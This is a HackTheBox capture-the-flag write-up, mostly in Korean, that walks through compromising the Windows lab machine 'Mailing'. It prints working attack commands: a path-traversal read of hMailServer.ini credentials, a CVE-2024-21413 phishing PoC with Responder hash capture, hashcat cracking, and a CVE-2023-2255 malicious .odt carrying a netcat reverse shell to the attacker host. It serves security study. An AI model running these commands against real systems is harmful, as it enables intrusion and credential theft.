
If you've been grinding through HackTheBox machines, Mailing is one of those boxes that genuinely teaches you something. It's rated Easy, runs on Windows, and chains together a few real-world vulnerabilities — a directory traversal, a credential leak, CVE-2024-21413, and a LibreOffice macro exploit. Let's walk through it step by step.
Mursalin 작성
HackTheBox 머신을 계속 공부해 왔다면, Mailing은 진정으로 무언가를 가르쳐 주는 박스 중 하나입니다. Easy 등급이며 Windows에서 실행되며, 디렉토리 트래버설, 자격 증명 유출, CVE-2024-21413, LibreOffice 매크로 익스플로잇 등 몇 가지 실제 취약점을 연결합니다. 단계별로 살펴보겠습니다.
항상 그렇듯이 nmap 스캔으로 시작하여 무엇을 다루고 있는지 확인합니다:
nmap -p- --min-rate 10000 10.10.11.14
nmap -p [ports] -sCV 10.10.11.14
결과는 꽤 많은 열린 포트를 보여줍니다. 주요 내용:
mailing.htb로 리디렉션)OS 핑거프린트는 Windows 10 또는 Server 2019와 일치하며, IIS 버전은 적어도 IIS 10임을 확인합니다. 또한 SMB 메시지 서명이 활성화되어 있지만 필수는 아닙니다 — 나중을 위해 기록해 둡니다.
메일 포트는 여기저기 있지만 자격 증명이 필요할 것입니다. 포트 80의 웹 서버가 명백한 시작점입니다.
/etc/hosts에 mailing.htb를 추가한 후, 사이트는 hMailServer를 기반으로 구축된 메일 호스팅 회사처럼 보입니다. 표면적으로는 특별한 것이 없습니다 — 소개 섹션, 세 명의 이름(Ruy Alonso, Maya Bendito, Gregory Smith)이 있는 팀 섹션, "Download Instructions" 버튼이 있습니다.
다운로드 버튼은 다음을 가리킵니다:
http://mailing.htb/download.php?file=instructions.pdf
file= 매개변수가 즉시 의심스럽습니다. 테스트해 봅시다.
서브도메인을 확인하기 위해 ffuf를 실행했지만 흥미로운 것은 없었습니다. 그런 다음 feroxbuster로 디렉토리 무차별 대입을 시도했지만 download.php 외에는 새로운 것이 없었습니다. 따라서 모든 관심은 해당 엔드포인트에 집중됩니다.
file 매개변수의 경로 트래버설 테스트:
curl http://mailing.htb/download.php?file=../../windows/system32/drivers/etc/hosts
작동합니다 — Windows 호스트 파일을 받았습니다. 앱은 단순히 우리가 제공하는 값 앞에 기본 경로를 추가하고 file_get_contents()를 호출합니다. 삭제나 제한이 없습니다. download.php의 소스를 직접 읽으면 이를 확인할 수 있습니다:
$file_path = 'C:/wwwroot/instructions/' . $file;
if (file_exists($file_path)) {
echo file_get_contents($file_path);
}
이제 Windows 머신에서 임의 파일을 읽을 수 있습니다. 사용해 봅시다.
hMailServer는 구성을 hMailServer.ini에 저장합니다. 조사 결과 파일은 다음 위치에 있습니다:
C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini
트래버설을 통해 읽기:
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'
출력에는 다음이 포함됩니다:
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Password=0a9f8ad8bf896b501dde74f08efd7e4c
두 개의 MD5 해시입니다. CrackStation에 넣었습니다:
841bb5acfa6779ae432fd7a4e6600ba7 → homenetworkingadministrator따라서 hMailServer의 관리자 비밀번호를 얻었습니다. Windows 사용자 administrator로 SMB에 대해 시도했지만 실패했습니다 — 로컬 계정 비밀번호가 아니라 메일 서비스의 관리자 비밀번호입니다. 그러나 SMTP 서비스 인증에는 작동하며, 이것이 정확히 우리에게 필요한 것입니다.
이제 실제 사용자로 발판을 마련해야 합니다. 사이트는 사용된 메일 클라이언트가 Windows Mail임을 언급합니다(설치 지침 PDF 기반). 알려진 취약점을 확인할 때입니다.
CVE-2024-21413은 Microsoft Outlook 및 Windows Mail의 원격 코드 실행 취약점입니다. 결함은 클라이언트가 이메일 본문에서 file:// 프로토콜 URL을 처리하는 방식에 있습니다. 일반적으로 다른 프로토콜에는 보안 제한이 적용됩니다. 그러나 연구원들은 URL이 !anything으로 끝나면 해당 제한이 자동으로 제거된다는 것을 발견했습니다. 사용자가 이러한 링크가 포함된 이메일을 열거나 미리 보기만 해도 클라이언트가 자동으로 공격자의 SMB 서버에 인증을 시도하여 NetNTLMv2 해시를 전달합니다.
xaitax의 GitHub에 견고한 PoC가 있습니다. 이를 복제하고 다음 매개변수로 실행합니다:
python CVE-2024-21413.py \
--server mailing.htb \
--port 587 \
--username [email protected] \
--password homenetworkingadministrator \
--sender [email protected] \
--recipient [email protected] \
--url "\\10.10.14.6\share\sploit" \
--subject "Check this out ASAP!"
이메일이 성공적으로 전송됩니다. 한편, 공격 머신에서 Responder를 실행하여 들어오는 인증을 캡처합니다:
sudo /opt/Responder/Responder.py -I tun0
1분 정도 후에 Maya의 클라이언트가 이메일을 열고 Responder가 그녀의 NetNTLMv2 해시를 캡처합니다. hashcat으로 크랙합니다:
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt
비밀번호 크랙 성공: m4y4ngs4ri
Maya의 자격 증명으로 Evil-WinRM을 사용하여 연결합니다:
evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'
들어왔습니다. 사용자 플래그는 Maya의 데스크탑에 있습니다.
이제 루트로 가는 경로를 찾을 차례입니다. 시스템을 살펴보면 Important Documents라는 공유와 LibreOffice가 설치되어 있습니다. 이는 CVE-2023-2255를 강력히 암시합니다.
CVE-2023-2255는 LibreOffice 버전 7.4.7 및 7.5.3 이전에 영향을 미칩니다. 이는 .odt 문서 내의 "플로팅 프레임" — 연결된 외부 파일을 남용합니다. 이 취약점으로 인해 사용자에게 권한을 묻지 않고 해당 프레임이 로드되며, 콘텐츠는 문서 로드 시 실행되는 매크로가 될 수 있습니다.
elweth-sec의 PoC는 셸 명령을 포함하는 악성 .odt를 생성합니다. 문서 구조는 content.xml에 <script> 태그를 포함하여 LibreOffice가 파일을 열자마자 실행됩니다.
리버스 셸 페이로드를 생성합니다:
python /opt/CVE-2023-2255/CVE-2023-2255.py \
--cmd 'cmd.exe /c C:\ProgramData\nc64.exe -e cmd.exe 10.10.14.6 443' \
--output exploit.odt
그런 다음 Maya의 자격 증명을 사용하여 .odt 파일과 nc64.exe를 Important Documents SMB 공유에 업로드합니다:
smbclient '//10.10.11.14/important documents' --user maya --password m4y4ngs4ri
smb: \> put exploit.odt
smb: \> put nc64.exe
Maya의 WinRM 셸에서 nc64.exe를 C:\ProgramData에 복사하여 매크로가 찾을 수 있도록 합니다:
copy "\Important Documents\nc64.exe" nc64.exe
1~2분 후, 박스의 어떤 프로세스(아마도 예약된 작업)가 문서를 열고, netcat 리스너에서 셸을 잡습니다:
rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.14
Microsoft Windows [Version 10.0.19045.4355]
C:\Program Files\LibreOffice\program> whoami
mailing\localadmin
localadmin으로 실행 중이며 — 루트 플래그는 데스크탑에 있습니다.
이 박스는 2024년 5월 15일에 패치되었습니다 — 출시 후 단 11일 만에 — 원래 download.php가 file_get_contents() 대신 PHP의 include()를 사용했기 때문입니다. 이로 인해 단순한 파일 읽기가 완전한 Local File Inclusion 취약점으로 바뀌었고, 읽을 수 있는 파일에 있는 모든 PHP 코드가 실행될 수 있었습니다.
의도하지 않은 경로는 hMailServer의 SMTP 로그를 오염시킨 후(telnet으로 연결해 HELO 명령에 PHP 주입), LFI를 통해 해당 로그 파일을 포함시켜 defaultapppool로 코드 실행을 달성하는 것이었습니다. 거기서 SeImpersonatePrivilege + GodPotato = SYSTEM. 완전히 다른 루트 경로였습니다.
Mailing의 공격 체인은 다음과 같습니다:
download.php의 디렉토리 트래버설을 통한 파일 읽기hMailServer.ini에서 자격 증명 유출 → MD5 관리자 해시 크랙이 박스는 실제 CVE를 현실감 있게 연결하는 훌륭한 작업을 수행합니다. 익스플로잇 단계가 지나치게 복잡하지는 않지만 각 단계에서 무엇을 하고 있는지 이해해야 합니다. OSCP를 준비 중이라면 다시 방문할 가치가 충분히 있습니다.
읽어 주셔서 감사합니다! 더 많은 HTB writeup 및 CTF 콘텐츠를 보려면 Medium에서 저를 팔로우하세요.
— Mursalin